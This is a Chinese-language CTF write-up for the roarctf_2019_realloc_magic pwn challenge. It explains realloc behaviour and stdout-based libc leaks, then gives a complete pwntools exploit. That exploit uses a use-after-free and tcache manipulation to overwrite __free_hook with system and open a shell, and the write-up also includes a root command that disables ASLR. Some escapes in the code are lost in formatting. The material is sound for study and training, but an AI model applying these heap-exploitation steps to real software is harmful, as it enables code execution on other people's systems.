realloc函数应用&IO泄露体验

2023年 9月 28日 32.2k 0

本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。

在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的。

realloc

realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

  • size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf

  • realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)

  • malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit

  • malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

  • stdout泄露

    这里我只给出结论,具体可以参考

  • 设置_flags & _IO_NO_WRITES = 0

  • 设置_flags & _IO_CURRENTLY_PUTTING = 1

  • 设置_flags & _IO_IS_APPENDING = 1

    _flags = 0xFBAD1800
    
  • 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)

  • 具备以上基础我们可以来实战一题了

    roarctf_2019_realloc_magic

    Arch:     amd64-64-littleRELRO:    Full RELROStack:    Canary foundNX:       NX enabledPIE:      PIE enabled
    

    64位,保护全开

    前情提要:

    本题部署在2.27-3ubuntu1_amd64/libc-2.27.so

    建议关闭linux地址空间随机化(ASLR),方便调试。

    在root用户下执行

    echo 0 > /proc/sys/kernel/randomize_va_space
    

    realloc

    int re(){  unsigned int size; // [rsp+Ch] [rbp-4h]​  puts("Size?");  size = get_int();  realloc_ptr = realloc(realloc_ptr, size);  puts("Content?");  read(0, realloc_ptr, size);  return puts("Done");}
    

    free

    int fr(){  free(realloc_ptr);  return puts("Done");}
    

    存在uaf,可以利用起来

    这里有个清零指针的函数

    int ba(){  if ( lock )    exit(-1);  lock = 1;  realloc_ptr = 0LL;  return puts("Done");}
    

    程序特别简单,但是利用比较精妙,

    在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写

    帮助网安学习,全套资料S信领取:

    ① 网安学习成长路径思维导图
    ② 60+网安经典常用工具包
    ③ 100+SRC漏洞分析报告
    ④ 150+网安攻防实战技术电子书
    ⑤ 最权威CISSP 认证考试指南+题库
    ⑥ 超1800页CTF实战技巧手册
    ⑦ 最新网安大厂面试题合集(含答案)
    ⑧ APP客户端安全检测指南(安卓+IOS)

    思路

    通过realloc,和uaf,构造好tcache的布局

    然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook

    最后正常打free_hook:free_hook-->system-->/bin/sh

    首先利用malloc(size)和free(size)在tcache上面先准备好

    malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)

    free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)

    realloc(0x20,b'b')  #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备realloc(0,"")realloc(0x90,b'b')realloc(0,"")realloc(0x10,b'b')realloc(0,"")
    

    image-20230912125521459

    realloc(0x90,b'b')for i in range(7):    dele()realloc(0,"")
    

    这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来

    为什么第八次free需要使用realloc去free呢?

    因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用

    image-20230912162307540

    看一下此时的堆空间

    image-20230912162721962

    realloc(0x20,b"aaa")pl=p64(0)*5+p64(0x81)+b"x60xc7"#realloc(0x50,b'aaa')#这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下realloc(0x50,pl)
    

    这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,

    后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系

    首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc

    后面的"x60xc7"看图就知道了

    image-20230912170239859

    _IO_2_1_stdout_main_arena相差了4位,并且低三位是固定的,只需要爆破一位

    (因为我关闭了ASLR,所以直接x60xc7打本地不用爆破一次通(x))

    直接看成果图

    image-20230912162925182

    image-20230912162934528

    可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行

    realloc(0,"")realloc(0x90,b'aa')realloc(0,"")pl=p64(0xfbad1887)+p64(0)*3+b'x58'realloc(0x90,pl)
    

    这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的

    0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800

    image-20230912170911195

    image-20230912183447804

    这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成x58

    也就是

    image-20230912184335327

    _IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可

    然后算出free_hook,system的libc地址,

    接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0

    sla(menu,'666')​realloc(0x30,b'a')realloc(0,"")realloc(0xa0,b'a')realloc(0,"")realloc(0x10,b'b')#2 realloc(0,"")realloc(0xa0,b'b')for i in range(7):    dele()realloc(0,"")realloc(0x30,b'a')
    
    pl=p64(0)*7+p64(0x71)+p64(free-8)realloc(0x70,pl)realloc(0,"")realloc(0xa0,b'a')realloc(0,"")realloc(0xa0,b'/bin/shx00'+p64(sys))dele()
    

    free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system

    完整exp:

    from pwn import*​def debug(cmd = 0):        if cmd == 0:            gdb.attach(r)        else:            gdb.attach(r,cmd)        pause()​menu=b">>"def realloc(size,con):    r.sendlineafter(menu, b'1')    r.sendlineafter(b'ize',str(size))    r.sendafter(b'ent',con)def dele():    r.sendlineafter(menu,b'2')    libc=ELF("libc-2.27.so")​context(os='linux', arch='amd64',log_level='debug')​​def pwn():    realloc(0x20,b'b')    realloc(0,"")    realloc(0x90,b'b')    realloc(0,"")    realloc(0x10,b'b')    realloc(0,"")​    realloc(0x90,b'b')    for i in range(7):        dele()    realloc(0,"")    realloc(0x20,b"aaa")    payload=p64(0)*5+p64(0x81)+b"x60xc7"    #realloc(0x50,b'aaa')    realloc(0x50,payload)        realloc(0,"")    realloc(0x90,b'aa')    realloc(0,"")    payload=p64(0xfbad1886)+p64(0)*3+b'x58'    realloc(0x90,payload)    #debug()    leak=u64(r.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))-libc.sym['_IO_file_jumps']    print(hex(leak))    free=leak+libc.sym['__free_hook']    system=leak+libc.sym['system']​    r.sendlineafter(menu,'666')​    realloc(0x30,b'a')    realloc(0,"")    realloc(0xa0,b'a')    realloc(0,"")    realloc(0x10,b'b')#2    realloc(0,"")    realloc(0xa0,b'b')    for i in range(7):        dele()    realloc(0,"")    realloc(0x30,b'a')​    payload=p64(0)*7+p64(0x71)+p64(free-8)    realloc(0x70,payload)    realloc(0,"")    realloc(0xa0,b'a')    realloc(0,"")    realloc(0xa0,b'/bin/shx00'+p64(system))    dele()    r.interactive()​for i in range(1):    try:        r=process("./pwn")        pwn()        break    except:        r.close()
    

    相关文章

    服务器端口转发,带你了解服务器端口转发
    服务器开放端口,服务器开放端口的步骤
    产品推荐:7月受欢迎AI容器镜像来了,有Qwen系列大模型镜像
    如何使用 WinGet 下载 Microsoft Store 应用
    百度搜索:蓝易云 – 熟悉ubuntu apt-get命令详解
    百度搜索:蓝易云 – 域名解析成功但ping不通解决方案

    发布评论